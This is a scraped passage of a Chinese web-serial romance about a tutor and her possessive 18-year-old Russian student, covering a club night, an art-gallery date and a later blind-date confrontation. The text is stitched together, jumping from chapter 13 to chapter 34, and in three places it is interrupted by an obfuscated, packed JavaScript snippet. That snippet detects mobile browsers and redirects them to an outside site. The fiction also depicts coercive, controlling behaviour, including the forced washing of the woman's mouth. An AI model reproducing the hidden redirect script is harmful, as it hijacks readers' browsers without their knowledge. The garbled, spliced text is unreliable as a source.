音乐声太大,燕棠没听清他说了什么,只看见那两个女生满脸遗憾地离开。 他们在位于正中的大卡座,视野极好,没过多久就有一个金发女孩儿从后台走过来,她画着精致的妆容,穿着皮衣牛仔裤,耳骨上挂着三个钉,相当新潮。 燕棠猜她就是刚才和宋郁发消息的那个人。 “给你们安排的这个位置怎么样?”那女孩儿直接坐在了宋郁旁边,用俄语跟他聊天。 “挺好,谢了。”宋郁拿了瓶啤酒递给她,用自己的杯子和她碰了下。 不得不说斯拉夫血统真是优越,两人坐在一起男帅女美,很是赏心悦目。燕棠坐在宋郁身边,另一侧是红姐,避无可避,局促得有些难受。 “什么时候有空?一起吃个饭吧。” 那女孩儿的语气很熟稔,大概和宋郁认识很久了。 “我比赛回来后请你吃饭,最近没什么空,你可以找我哥。” “Ilya也在中国?怎么没跟你一起来?” “我爸最近去搞什么中俄文化基金会之类的东西,我哥在上海替他坐办公室,过一阵也会回北京。” 音乐在此刻换到下一首,帅气的花臂DJ拿着话筒上台,十几盏射灯转动,灯光闪烁,舞池里站了不少人。 唐蕊心兴冲冲跑过来拉起燕棠,“走!我带你去前面看好东西!” 燕棠如释重负,连忙站起来跟她往外走,“什么好东西?” “哎呀,你来了就知道了。” 宋郁跟索菲亚聊了几句,一转头就发现燕棠不知道去哪儿了,眉头一皱,抬眼往前面看过去—— 台上走来几个穿着白衬衫的男人,肌肉把衬衫绷得紧紧的,衣领的扣子还爆开了两颗。 唐蕊心和燕棠两个小女生就在台下咋咋呼呼地叫。 “其实这也就是看个新鲜。” 唐蕊心靠近她的耳朵大声说。 “还是咱们俱乐部的人把肌肉练得好,他们是功能型的,这些是观赏型的,摸起来都不一样,用起来更不一样!” 燕棠正想问摸起来和用起来有什么不一样,唐蕊心就跟鱼一般往人群里钻过去,原来是王天铭来了。 舞池热闹非凡,声音响彻每一个角落,所有人都摇着,晃着,唱着。 她看见唐蕊心和王天铭在舞池里接吻,年轻的身体紧贴在一起,摇曳着青春的风情,那是燕棠从未体验过的东西。 在这一刻,燕棠有一些羡慕唐蕊心。 她也曾幻想过自己在十八九岁的年纪能好好地谈一场恋爱,哪怕仅仅是尝尝爱情的苦。 痛苦不可怕,眼泪不可怕,最可怕的是麻木,是庸常,是悄无声息。 是她现在的样子。 四周灯光错乱,年轻人们用最极致的方式,将世俗生活里的烦恼强制性地洗刷去。 燕棠深深吸了一口气,任由这嘈杂和热闹将她淹没,将自己的心神也浸入这种放肆的狂欢里。 音乐声震耳欲聋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903211|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲击着她的身体和心灵,好像也短暂地将心里那块沉甸甸的石头击碎了。 她觉得身体轻盈了些许,第一次享受起这种狂欢的场合,站在舞池里没有离开。 没过多久,台上换了人,竟然变成了刚才和宋郁聊天的那个女孩儿。原来她是个歌手,今晚就是她的乐队驻场。那女孩儿唱歌的时候更有魅力了,似乎宋郁身边总是围绕着这些出众的人。 音乐一换,气氛被顶上高.潮,燕棠忽然感觉后头有人拍了一下她的肩。 她吓一跳,猛地转身,直接撞上来人的胸膛。 隔着一层T恤的布料,能很明显地感觉到放松时的胸肌是软的。 燕棠惊恐地发现自己的脸陷在了对方的胸里。 “老师。” 她头顶上响起熟悉的声音,后脑勺也被熟悉的手扣住。 宋郁将她的脑袋从自己的胸肌里拔出来,微笑着问:“台上的还没看够吗?” “你怎么来了?” 燕棠没脸看他,努力转移话题。 奈何这里音乐声太大,宋郁根本听不清,反而俯下身靠近她,“你说什么?” 她贴在他耳畔大声问:“你怎么来了!” 宋郁这回听清了,微微侧过脸看向她,“当然是来找你啊。” 他直起身,拉着她往卡座的方向去,“别再没有人陪的情况下自己乱走,这里虽然是正规的地方,但人太多了,难保不会碰上有人占你便宜。” 卡座里,超子、红姐和其他的选手们已经在喝酒玩游戏,见宋郁和燕棠过来了,招呼他们一起玩。 “经典项目,抓手指!” 这种游戏的主旨就是劝人喝酒,熟练的不熟练地都逃不过。 不常喝酒的燕棠一连喝了三杯啤酒,已经开始有些上头。宋郁喝的还不是啤酒,杯子里的酒水没有颜色,她估计是伏特加或者白朗姆酒,可他灌下去五杯愣是一点儿反应都没有。 燕棠忍不住夸:“你的酒量真好,不会是从小练出来的吧?” “嗯,我从小把伏特加当奶喝。”宋郁摇晃了下只剩下冰块和柠檬片的杯子。 燕棠真的喝得有些晕乎了,还认真思考了一下,直到宋郁笑出声来才意识到是在逗她。 他把手中的杯子凑到她面前,里头竟然没有一丝酒味,“我喝的是柠檬水,桌上在赛前准备期的人都喝的是水。” “这不公平......” 于是宋郁答应接下来的游戏都不用酒,换做其他的条件。 时间已是凌晨,大家正玩得嗨,卡座里其他人都跑去舞池里蹦跶了,只剩下他俩还在玩所谓的游戏,而抓手指也简化成了打手掌。两人单手交叠,一上一下,上方的只要被打到就算输。 燕棠小心翼翼地将手放在宋郁的掌心上,低头盯着他们手掌交叠的部分,全神贯注。 而宋郁迟迟未动,只是垂眸看着她一脸紧张的样子。就像上次将她从酒吧接走时那样,燕棠的脸颊泛起了动人的红色,像小鸟吃了醉人的果子,已经开始晕头转向了,让干什么就干什么,让说什么就说什么。 格斗训练里,敏捷度是一大关键要素。燕棠根本不可能赢得过宋郁。 三秒后,他笑着攥住她的手,“你输了。” 燕棠认输,抽出手老实地问:“好吧,惩罚是什么?” 宋郁的手臂半搭在卡座沙发上,支着下颌思考片刻,低下头靠近她耳畔。 他靠得很近,以至于震天响的音乐在这一刻都像是飘到了天边那么远。 “告诉我今天是什么让你不高兴。”他温声说。 燕棠微微一怔,抬眼看向宋郁。 他挺秀的鼻尖几乎要贴在她的脸颊上,那双眸子在斑斓灯光的映照下,染上复杂难解的光泽。 她不敢揣测那眼里到底是什么意思。 12.镜子里 凌晨两点,街边行人寥寥,夜店门口的荧光字还在寒风中闪烁,四周安静得只剩下树叶摇晃的声音。 冷空气驱散了微醺的醉意,燕棠双手搭在围栏边上,神色清明地看着马路上偶尔路过的车辆,简单跟宋郁说起她遇到的糟心事。 “我不知道是不是该就这么算了。如果要找他理论,万一在毕业论文审核答辩的时候被为难就麻烦了。” 宋郁抱臂站在她身边,却问:“为什么要放过他?” 他一脸不解,因为燕棠纠结的东西在他眼里根本不是问题。他从来不会放过任何一个想从他身上找便宜的人,并且让那些人下场惨了千百倍。 “中国有句话,叫胳膊拧不过大腿......”燕棠轻轻叹了口气。 宋郁说:“中国还有一句话,叫‘四两拨千斤’。” 四两拨千斤,以柔克刚,以弱胜强。 燕棠没想到他竟然能说出这么一句地道的老话。 宋郁笑了笑,跟她解释:“这是太极拳里用巧力胜敌的技术,我是在训练里知道的,用在其他地方大概也是一样的道理。” 他看燕棠还是一副犹豫的模样,又说:“如果担心毕业论文出问题,就等毕业之后再做。就算担心胳膊拧不过大腿,那也要看是什么样的胳膊和什么样的大腿,你把证据交给我,我帮你出气。” 燕棠听他语气笃定,忍不住想笑,一个十八岁的孩子能怎么帮她出气?难道要找爸妈帮忙?遑论她不可能真的把这件事拿去麻烦娜斯佳,他家哪有那么神通广大,还能帮她在学校出头。 但宋郁说得对,这件事不是没有操作空间,她可以先把证据留存下来,等毕业大吉了再找崔平山理论。 夜间刮起了冷风,燕棠被吹得瑟缩了一下,手机上显示凌晨两点十五。 “他们还在里面,你要回去找他们玩儿吗?” 宋郁也看了下时间,“不了,我让司机来接。你今天也去我家住吧,明天正好一起去俱乐部。” “不用了。”燕棠想也不想就立刻说,“我回宿舍住吧,在你家换衣服洗澡什么的也不方便。” “这个时间还能在宿舍洗澡?” 燕棠噎了一下,“我要换衣服。” 宋郁默然看着她,过了几秒,忽然问:“老师,你是不是不想跟我待在一起?” 他这话说的怎么这么可怜,像是她嫌弃他似的。 燕棠眼睫毛颤了颤,抬起眼看他,“瞎说什么呢,你这么聪明可爱的学生,没有老师不喜欢和你待在一起。” 沉默片刻后,宋郁忽然笑了下,不继续问了,等车到的时候也不提要她留宿他家的事情,体贴地让司机大老远从东二环绕到北五环,抵达后又下车把她送到校门口。 凌晨三点多的大学校门像个黑漆漆的洞口,还真有些吓人。燕棠走进学校,沿着不甚明亮的路灯走了几步就有些害怕,鬼使神差地回望了一眼,发现宋郁竟然还站在校门边上。 距离有些远,少年高挑的身影被夜色晕成模糊不清的轮廓。 手机一声震动,是宋郁发来微信消息。 「别怕。」 她心里那点儿不安就这么给驱散了。 很久以后,燕棠才会意识到她此时远远不够了解宋郁,以至于没有看清楚他的举动中所带有的危险信号。 她现在还将之归结为男孩子模糊不清的善意罢了。 燕棠回到宿舍后给宋郁报了平安,迅速洗漱,安然睡下。 而宋郁这晚却迟迟没有睡着。 他到家后洗了个澡躺在床上,一抬眼,月光恰好落在床头。 床头贴着许多小纸条,全是燕棠的字迹,上面写着他容易忘记的中文词句,有几张上面甚至画了个生气的小恶魔,用胖乎乎的俄文写道:不能再记错了!!! 他蓦然笑了一下,掀开被子开门去了客房。 燕棠那晚留宿之后,吴阿姨本来在当天就要做清理,但被他阻止了,说先这样放几天。 宋郁躺在客房的床上,嗅到那股香气已经变得很淡,可惜她今晚不会再来这里住下,让这味道再延续几天。 不过哪怕只剩下一丝气味,也足够他立刻硬.起来。 这对他来说实在是很新奇。 他当然不可能对性一无所知,长了张这样的脸,从十五六岁开始就能经常收到各种各样的性暗示,但他一直没什么兴趣,还曾经以为是训练强度过大,消耗了这部分精力。可自从遇见燕棠之后,性.欲就这么莽撞地彻底苏醒。 现在宋郁心里终于清楚——他真的太喜欢他的中文老师了。 她今天说起在学校受欺负的事时,真让人想把她抱在怀里哄一哄。 人总是贪心的,虽然她躲开他的样子也很有意思,但宋郁还是希望他们可以再亲近一点儿。 而且他并没有很多耐心。 * 宋郁在第二天请教了谈过多任女友的超子:如果一个女孩儿对长得很不错的男人无动于衷,这究竟是什么原因。 他没有恋爱经验,虽然有一些自己的判断,但听取有经验的人的建议未尝也不是个办法。 超子放下哑铃,坐在休息长椅上擦了把汗,拍了拍宋郁的肩膀,哈哈一笑:“你也有今天啊!” 宋郁听懂了这句话,微笑不语,等他继续说下去。 “那道理还不简单?说明你不是她喜欢的类型呗。”超子语重心长地向他解释:“甭管男女,谈恋爱都是挑自己喜欢的那类,那句话怎么说来着,从今以后喜欢上的人都有他的影子......” 听到这里,宋郁就有点儿笑不出来了。 他的确没想过这一点。 宋郁转过头去看向坐在休息区的燕棠,她此刻不像往常一样帮他整理今天遇到的生字和句子,而是低头拿着手机,飞快地打字回消息。 燕棠在跟江聿行联系。 自从昨晚跟宋郁聊过之后,她觉得自己确实应该再争取一番,不蒸馒头争口气,君子报仇,等毕业后也不晚。 于是怎么收集留存证据就成了问题。 她把事情简化了一下,隐去崔平山的名字,询问江聿行是否认识了解这方面维权知识的人。他在北大念书,肯定认识不少法学院的同学。江聿行很爽快地答应帮忙去问问,并且很快有了回信。 一是要保存所有之前工作沟通的原始记录,包括燕棠提交的翻译文稿内容、邮件交流记录,如果有微信证据,也要及时进行保全。 对方尽心尽力地列出了燕棠需要在前期做的事情,还说未来有什么问题可以随时联系。 这可真是帮了大忙,燕棠连连道谢,说要请江聿行和他的朋友吃饭,可惜现在将近过年,那位朋友已经不在北京,只能等之后有机会再说。江聿行倒是还没回老家,燕棠就问他是否有空。 他倒也不客气,又发了张油画展的购票截图过来,说正好多买了张票,问她愿不愿意吃饭前一起去看个展。 看着这条消息,燕棠微微皱起了眉头。 “老师,你在偷懒。” 头顶上响起一道声音,她放下手机,坐直身体,纠正宋郁:“我没有偷懒。今天的材料我都归纳完了,回去就发给你。你做的预科班作业我也都看过了,错误很少,挺好的,还有几个地方需要加强记忆,今晚我会一起发给你。” “我是逗你的,别紧张。”宋郁眉眼一弯,“我只是好奇你在忙什么。” 燕棠拉他在自己身边坐下,“有件事儿要跟你商量。” “什么事儿?” “下下周的周日,补习课能不能调整到早上?我下午可能会有别的安排。” 宋郁不动声色地瞥了一眼她的手机屏幕,看见了对面那人的头像,就是那晚带燕棠去酒吧的男人,燕棠真正喜欢的那个男人。 “你们要约会?” “不是约会,我找他帮忙,准备请他吃饭答谢,不过他忽然提出说一起要看画展,时间上和我们的课程撞了......要麻烦别人办事,总觉得拒绝他不太好,但如果你不方便,肯定还是以上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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SKP里的衣服挂在她身上合适吗? 不管尺寸风格合不合适,反正那价格是一点儿都不合适。 “宋郁,我真的要生气了。” “你怎么舍得对我生气?” 燕棠无可奈何地被宋郁拉进了店里,见他跟美女销售打了个招呼,指着几套浅色系少女风的衣服,“让她试。” 他说话很简洁,很霸总,只有燕棠知道这是因为他只会说这几个字。 销售姐姐们则已经把他当成了一掷千金的提款机洋人富哥,殷勤地拿来一堆衣服包包鞋子,说这套搭配是今年最流行的,又说那件衣服很适合去喝下午茶的时候穿。 下午茶?学校食堂没有下午茶! 燕棠翻开其中一件衣服的吊牌,看到价格后有气无力地说:“走吧,别在这儿浪费时间了,我之前的衣服也挺好的。” 俄语此刻成了他们的加密语言,燕棠毫无顾忌地当着销售的面,用俄语说服他放弃这荒谬的举动。 “首先,你是我的学生,不应该给我买这些。其次,我平常也不会穿这种衣服,买了也是浪费。” 显然宋郁根本没有听进去,而是相当大方地说:“不用给我省钱,你为我的学习辛苦那么久,我还没有给你送礼物。” 见她不是很配合,宋郁就拿衣服在她面前比划了一下,直接让销售剪标付款。 燕棠看他动作迅速地刷了卡,真的怕了,接下来让试哪件就试哪件,免得宋郁花了大钱还买来一身不合适的衣服。 她最终老老实实地站在镜子前,看着里面稍显陌生的自己。 裁剪得当的小毛衣和半身长裙,一身轻盈的颜色,略有些钝感的圆头皮鞋。店内的灯光太璀璨,三百六十度无死角地将她照亮。 一双手从后温柔地拢起她的长发,随后扣住她的后脑勺,抵着她的肩胛骨,让她抬头挺胸。 镜子里的那个人像是升级版本的燕棠,明媚动人,甜美可爱。 “老师真漂亮。” 宋郁站在她身后,漂亮的眼睛含笑,透过镜子和她双目对视。他的笑总是这样甜蜜,以至于燕棠在这一刻也晃了神。 她没注意到他变得有些异样的目光。 宋郁这么积极地打扮燕棠,自然另有打算。 但看见她此刻的样子,他又忽然有些不想让她跟江聿行见面了。 13.旧人不复(含入v公告) 周日的早上,燕棠在上课时说了不下五次“看作业不要看我”,但宋郁的目光仿佛是黏在了她脸上似的。 她今天戴了一对碎钻耳钉,化了淡妆,穿着的衣服是宋郁从买回来的衣服中亲自选的一套。 燕棠都觉得她有点儿不像自己了,当她在洗手间里看向自己,或者看到窗户折射出她的倒影时,她会因为镜子里漂亮的女孩儿而愣神。 甚至连吴阿姨都夸了她好几次。 “等你去上海集训,每天还是要花至少半个小时复习这段时间学的东西。” 燕棠把给他准备的复习资料、复习计划表都解释了一遍。 桌面上的资料有厚厚一沓,侧边有许多便签标注了日期,以便宋郁按照提示每天记背复习,贴心至极。 宋郁仔细听她交代后续的学习,那温声细语绕在他耳边,勾得他心痒。 中午吃过午饭后,他还需要去俱乐部训练,但他特地绕路将燕棠送到了798园区。这里有各种美术馆和艺术空间,一年内画展不断,临近过年,枯树都缠上了璀璨的灯带,有的还挂上了红灯笼,行人不少,很是热闹。 “你快上车去训练吧。” 燕棠对宋郁说完这句话,忽然听见有人在叫她的名字,抬眼一看就见江聿行朝他走了过来。他今天穿着黑呢长外套搭白色毛衣,清俊帅气,手上还提着个小礼物。 宋郁就这么站在燕棠身后,等江聿行走近了,才把拎着的包递给她,“那我走了,晚上来接你。” 他说的是中文,这句话燕棠没教过。 她惊讶地看了宋郁一眼,身旁的江聿行听到这句话也愣了。 等宋郁离开后,江聿行的目光终于落在燕棠身上,笑着说:“你今天很好看,这身衣服很适合你。” 她这身衣服没有什么显眼的logo,低调有质感,衬她的气质,江聿行不是研究时尚品牌的人,看不出价格多昂贵,只觉得合适,好看。 比上一次好看,比以往见她的任何一次都要好看。 燕棠脸上也绽出一个笑,“是我学生带我去挑的,他的眼光很好。” 听她这话,江聿行默了片刻,“你和你的学生关系......比我想的要好。” “嗯,他对不熟的人不算热情,但如果熟悉起来了,是很会照顾人的。” 就算很会照顾人,有必要连老师约会的车接车送吗? 江聿行是男人,自然对男性的某些举动有基本的直觉,他觉得自己该提醒燕棠,但看了她几眼,终究是没说出来。 两人直接去了现代艺术馆看画,现在将近年关,也是画展的最后几天了,场馆里人不多,回廊就只有他们两个人。 现代感的白色长廊内,燕棠看画,江聿行则在看燕棠。 场馆很大,但两个人都没觉得时间流逝得很快,燕棠认认真真地把每幅画的简介和故事都看了一遍,而江聿行则是心里揣着事,边走便想,就忘了时间。 离开画展的时候已经将近下午六点,他们直接去了艺术区新开的bistro吃饭。 刚一坐下,燕棠就收到了娜斯佳转来的课费。娜斯佳感谢了她一番,并且提及后续还要不要请她继续陪同宋郁去俱乐部,可以等宋郁比赛结束,燕棠过年回北京后再看。 虽然未来的事情还不确定,但一笔巨款到账,燕棠坐在餐厅里的腰杆都直了。 鼓鼓的钱包就是人最大的底气,她翻开菜单,对江聿行说:“班长,你帮了我大忙,今天别客气,使劲儿点,我请客。” 她此刻神色飞扬,笑眼盈盈,不同于学生时代的温吞内敛,浑身上下都散发着让人移不开眼的美。 江聿行看得愣了,也被她感染,脸上露出个浅浅的笑。 “得了,哪儿能真的让你请客,意思到了就好,这顿算我的。” 之前两人交集不多,除了上次聚餐后又喝了场小酒外,别说同桌吃饭了,连交谈都没有几次。 餐厅后是一片独立的花园,夜色降临后,园子里一片火树银花,他们吃完饭后就坐在二楼观景的窗边随意聊天。 “你的气色要比上次好了。”燕棠说。 江聿行温声说:“对啊,总是要从过去的事情里走出来的。” 服务员过来撤下用过的餐具后端上甜品,还带来一本供客人留言的册子,说这是许愿本,可以留下他们的愿望。 新年快到了,自然要图个吉利。燕棠拿起笔,在本子上写下“新的一年平安顺利”,又把本子和笔递给江聿行。 他接过本子,看着上面那行清丽的字迹,忽然笑了一下,“你是不是一直没有署名的习惯?” 燕棠怔然和他对视,“......什么?” “只是突然想到这件事......抱歉,上次其实是我说了谎。”江聿行缓缓地说着,剥开笔盖,“我认得你的字,你的字漂亮秀气,让人印象很深。” 他的声音好听,每个音节撞着燕棠的耳膜,让她麻了。 为什么突然提起这件事?为什么要在这个时候告诉她?所以念书的时候他就知道......? 她还真的以为这只是一次普通的凑对看展吃饭罢了。 在燕棠发懵的时候,江聿行已经在本子上写下了一行字,就在她写的那句话下面—— 希望燕同学和我都可以在新的一年里事事如意。 字迹劲瘦,笔锋从容,比以前写的还要好看。 燕棠现在还能回想起那个时候,十六岁的江聿行坐在教室靠窗的位置,盛夏阳光斜落,他低头安静写作业,注意到她站在桌边,会抬眸朝她笑笑。 得体的、有距离感的少年江聿行,渐渐具象为面前这个成熟稳重的黑发男人。 他放下笔,将留言册关上,睫毛微垂,漆黑的瞳孔凝视着她,“以前一直没有机会和你相处,之后我可以经常约你出来吗?” 燕棠对上他沉静的目光,半天说不出话来。 话中之意不言而喻。 她不知道自己跟江聿行说了什么,也可能什么都没说,反正脑子已经不顶用了。燕棠随便借口要去上厕所,悄悄付了这餐饭钱,然后落荒而逃。 来接她的车就停在街边,她一路冲上车坐下。 宋郁坐在另一侧,运动外套拉链拉到顶,遮住半张脸蛋,细碎的发落在额前,露出一双金棕色的瞳孔,像大猫一样观察她脸上的神情。 “今天玩得开心吗?”他问。 “还行。” “‘还行’是什么意思?” 这反应跟宋郁想的可不一样。 他知道燕棠喜欢那个人,猜测她现在也还喜欢他。他将燕棠打扮得这么漂亮,如果江聿行仍然不喜欢她,说明他没眼光。如果江聿行想和她在一起,那说明他只是看脸。 宋郁已经想好了两种解释,准备打消燕棠对这类男人的错误印象——他们看上去温和可亲,实际上很挑剔,太精明,他的中文老师虽然脾气软,可却不是喜欢被挑挑拣拣的人。 江聿行会像上次的杨一舟那样被赶走。宋郁是这么认为的。 但情况似乎不如他所想,因为燕棠的态度实在太奇怪了。她坐上车后就一直看着窗外,等车穿行过两个绿灯后,才转头看向宋郁。 “我们去喝酒吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916671|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”燕棠说。 浅度数的酒不怎么苦,微醺时让人有种晕了头的畅快,她在这一刻忽然想再感受一下那种感觉。 宋郁盯着她看了几秒,让司机开车去了一家清吧。 位置在教堂附近,比上次江聿行带她去的那家要更有特色,音乐舒缓,非常安静,内部装修是修道院风格,酒柜上有一个十字架,桌面上摆有长着洁白翅膀的小天使摆件。 时间还早,室内没有别的客人,他们挑了靠窗的角落坐下。 燕棠点了杯“少女的祈祷”,宋郁不喝酒,夜里也不喝咖啡,于是要了杯冰牛奶。 送酒时,店家贴心地给他加一块恶魔形状的巧克力。他在控制体重,其实也不该碰巧克力,正想让服务员换一杯,但燕棠随口夸那巧克力可爱,他又把推出去的杯子挪到了自己的面前。 燕棠点的这杯酒虽然名字好听,但酒精浓度超过了她的饮酒水平,她刚喝两口,自觉没什么感觉,但话已经多了起来。 “你们男生问女孩儿以后‘可不可以经常约你出来’,一般是什么意思?” 宋郁撑着下颌,盯着她看了片刻,说:“意思就是虽然目前没那么喜欢她,先留在身边也不错。” 很直白。很准确。 燕棠干巴巴地“哦”了一声,目光游移,寥寥落落地看向窗外碧绿的草坪。 看来这就是她今天得到的答案了。 宋郁觉得自己该按照计划问下去—— 他真没眼光,不要再和他见面,也不要再喜欢他了。 但他看着燕棠脸上表情,那是一种奇怪的难过,按理说这时候不应该出现在她脸上才对,毕竟是喜欢的人表态愿意进一步接触,从她的角度看,无论如何都是一件好事吧? 宋郁不明白,于是他直接问了:“你怎么了?” 她还是在看窗外,声音呢喃,“说了你也不会懂的。” “你怎么知道我不会懂?” 燕棠还沉浸在和江聿行这次见面里。 这感觉实在是太奇怪了。 江聿行现在也很帅,但他跟以前一点儿都不一样。当他带着一种试探性的口吻询问她是否能再见面,还暗示他其实知道以前的事情时,她只想逃。 最纯粹的仰慕幻灭了,她看过他牵起别人的手,和别人一起尝过长大成人的滋味。这是江聿行的错吗?好像并不是,每个人都要经历这个阶段,但事情就是变了。 十五六岁的清爽少年,空旷的教室,白色校服,穿堂而过的阳光和青春年少的烦恼。 那些日子回不去了,她自己也变了。 “因为你才十八岁,还有很多女孩子喜欢,不会觉得时光流逝旧人不复,什么都没剩下......”燕棠说到后面就停下来了,指尖摩挲着杯沿,杯中酒水已经不剩多少。 宋郁默然看着她的侧脸。 她眼里浮着清清浅浅的光,柔和又内敛,带着安静无声的感伤。 那是由琐碎的人生经历叠加起来的感伤,那可怜的表情也是为和别人的过去流露的。 这一刻,宋郁终于感受到了由年龄横亘在他和燕棠之间的距离。 他心里冒出一种怪异的不适感,超越之前那种想要肆意折腾她的欲望,堵在胸口,不上不下。 “你想接吻吗?” 燕棠拿着酒杯的手猛然顿住,抬眼看向身边的男孩儿,“你说什么?” 宋郁撑着下颌,半垂着眼看她。 微弱的灯光晕在他脸上,像一幅朦胧精致的油画。 “我说,你不就是觉得自己错过了时间,什么都没剩下吗?和我接吻试试。” 34、相亲现场 天光明亮, 穿堂而过,墙边挂着乳鸽煲汤的广告,福禄寿三个花花绿绿大字悬在门口。 南方人普遍长得不高,因此显得站在门口的宋郁尤其扎眼。 在高度紧张之下,燕棠甚至以为自己出现了幻觉, 她僵坐在位置上不敢动弹,怔怔看着他走过来,每一秒的流逝都被拉成慢帧,堪称度秒如年。 但出乎燕棠意料的是,宋郁直接拉开她身边的椅子坐下,看都没看她一眼,目光直直落在对面的姚正浩身上。 姚正浩也被这突然的情形弄得措手不及,有些惊愕地看了一眼宋郁,随后对燕棠说:"这老外是不是走错位置了?你英语怎么样?能跟他沟通吗? 话音刚落,姚正浩就听见这小老外字正腔圆地说:“你要跟燕结婚?" 在一旁不声不响的燕棠浑身打个了激灵——天啊,这是她第一次听宋郁连名带姓地叫她 “你是.…?”姚正浩迟疑开口。 “她睡了我。" 燕棠猛地侧头,震惊地看着他,被这惊天动地的大白话震得耳鸣。 可宋郁说完这句话,脸上却挂起了一道笑容,只是那笑不及眼底, 显得尤为让人胆颤心惊。 “她得对我负责,所以我要跟她,你不介意吧? 跟她?这个用法是谁教他的?? 燕棠被这一套乱拳打得七荤八素,扭过头去看她的相亲对象。 姚正浩显然也非常惊愕,不过他的注意力落在了另一点上,目光在她和宋郁之间来回徘徊。 "你…他……你们… 墙边的福禄寿荧光字还在持续闪有,光线落在另一侧供桌上的辟邪保平安的关公铜像上。 这一幕忽然变得有些荒诞。 打扮像个小领导的相亲对象和一身贵气的宋郁同坐一桌,仿佛是两个童不相干的世界撞在了一起,直接把燕棠的魂魄都被震飞,短暂地游离在这方餐桌之上 她注意到姚正浩审视她的目光,忽然从“满意”变成了“怎么是这样的女孩子”,与此同时,他还在皱着眉打量宋郁,从头到脚地端详着,像是在评估什么。 燕棠忽然乐了,乐得笑了出来。 她对姚正浩说:“我想我应该不如你期望的那样''乖巧懂事’。” 旁的宋郁大概已经是把他在这个情境下所有能说的中文都说了出来,又恢复了冷冷的神情。 他用俄语对燕棠说:“我都来这里了,你为什么跟他还聊得这么开心?" 与此同时,姚正浩也沉着脸问她:“他还在说什么?" 燕棠说:“他说你前女友和你分手真是上天有眼,没进你这无福之门。" 见她还在继续说,宋郁语气冷淡:“够了,跟我走。” 燕棠仍然看着姚正浩,语速飞快:“他说你不应该出来相亲,简直是男人中的耻辱。 “你怎么能这么说!" 姚正浩用带着南市方言腔调的英语指责宋郁。 可宋郁从小在俄罗斯长大,英语也是他的外语,标准的英文能听懂,带中国方言的就有点儿为难他了。 他这会儿只辨认出了其中的敌意,还以为姚正浩在拦着不让走,直接站起来,高大的体格充满惊人的压迫感。 燕棠说:“他是搞格斗的,一拳能把你打飞,120赶来还要花时间。你最好还是听他一句劝,之后不要出来祸害人了。 姚正浩终于怒而起身离开,宋郁也往门口的方向走,燕棠还以为他要追上去,连忙拉住他的手臂:“你冷静一点.…” 他丝毫没遮掩语气中的恼怒: “我去付你们的餐钱!" 刚才那兵荒马乱的局面结束,燕棠随即陷入了另一个僵持的局面。 宋郁像是按了静音键,闷声不吭地付了钱,拉着她一路离开商场。 他手劲儿大得出奇,步子也快得要命,路上除了一句冷冷的“跟我回酒店谈”,愣是一个字都没说 燕棠被拉扯着一路小跑,跟他走进了商城旁这家五星酒店里。 说是五星酒店,其实已经建了有十几年,设施老旧,内部充斥着一股气。 电梯门关上,可以清晰地照见乘梯人。 燕棠在太阳下跑了一路,额头冒了汗,脸颊被晒得发红,宋郁牢牢牵着她的手腕,又恢复了那副面无表情的样子,只有双眸一动不动地盯着她。 叮一声,电梯的门缓缓打开,他拉着燕棠往房间走,动作利索地刷卡关门,直接把她带到了室里。 “Kiril……” 燕棠感觉不对劲,急急用俄语叫他。 可宋郁不理她,而是把她压到洗手台前,大力地抓着她的手伸到水池里。 他高大的身躯如一堵墙般让她无路可退,打开水龙头,恶狠狠地说:“你这个骗子! 饶是如此,也没能遮掩去他声音中的潮意。 燕棠拾眼往镜子一看,见他脸色极差,脸皮绷紧,垂着眼不看她,可惜皮肤太白了,眼眶红得太过明显,话中威慑力大减. 水龙头的水被开到最大,水珠四处飞溅,强有力的水柱冲刷着燕的小臂。 宋郁拿过沐浴露,狠狠按压了几下,全部涂抹到她的手臂上,大力揉搓清理, “莫斯科直飞北京要将近八小时,北京飞南市又要四个小时。你还偏偏会挑时间,趁我的护照送去使馆换签还没送回,就把这封邮件发了过来。 他又沉又快地说着俄语,平白多了几分森寒气息。 “我本来觉得来晚了,但刚才觉得来得正是时候,不该看到的都看了不是吗? 手上动作却没停,把她的手臂搓洗得发红,又强迫她展开双手,将她手心手一寸寸地用力清洗 “他扶了你一下,你接了他给的茶杯,还有吗?" 燕棠努力使白己冷静下来,还算镇定地说:“你既然已经看了邮件 "看了,看完第一句就不想看了。” 宋郁直接打断了她的话。 “那我现在跟你好好说说。 “别说,不想听。” 燕棠一时间竟不知道该怎么办。 不过她很快就没办法开口了,宋郁洗过手,扣着她的后颈,手指开她的唇舌在里面搅动,指腹划过她的牙齿,按在她的舌头上。 他力气大得很,动作又快又准,燕棠连反抗的机会都没有,就这么被他强制性地把口腔也清洗了一遍。 “呜呕 燕棠努力直起身,挣扎着拍打他的手臂肩膀,一巴掌又蹭到了他脸蛋上。 “你在干什么!!" 宋郁本来就眼睛红红的,眼泪悬在眼中半落不落,被她这么扇了一下,泪珠子不要钱似地往下掉。 他落泪的样子很可怜,动作却一点儿都不手软,拿出矿泉水瓶,扣着她的下颌逼她张口,喂她一大口水又让她吐出来 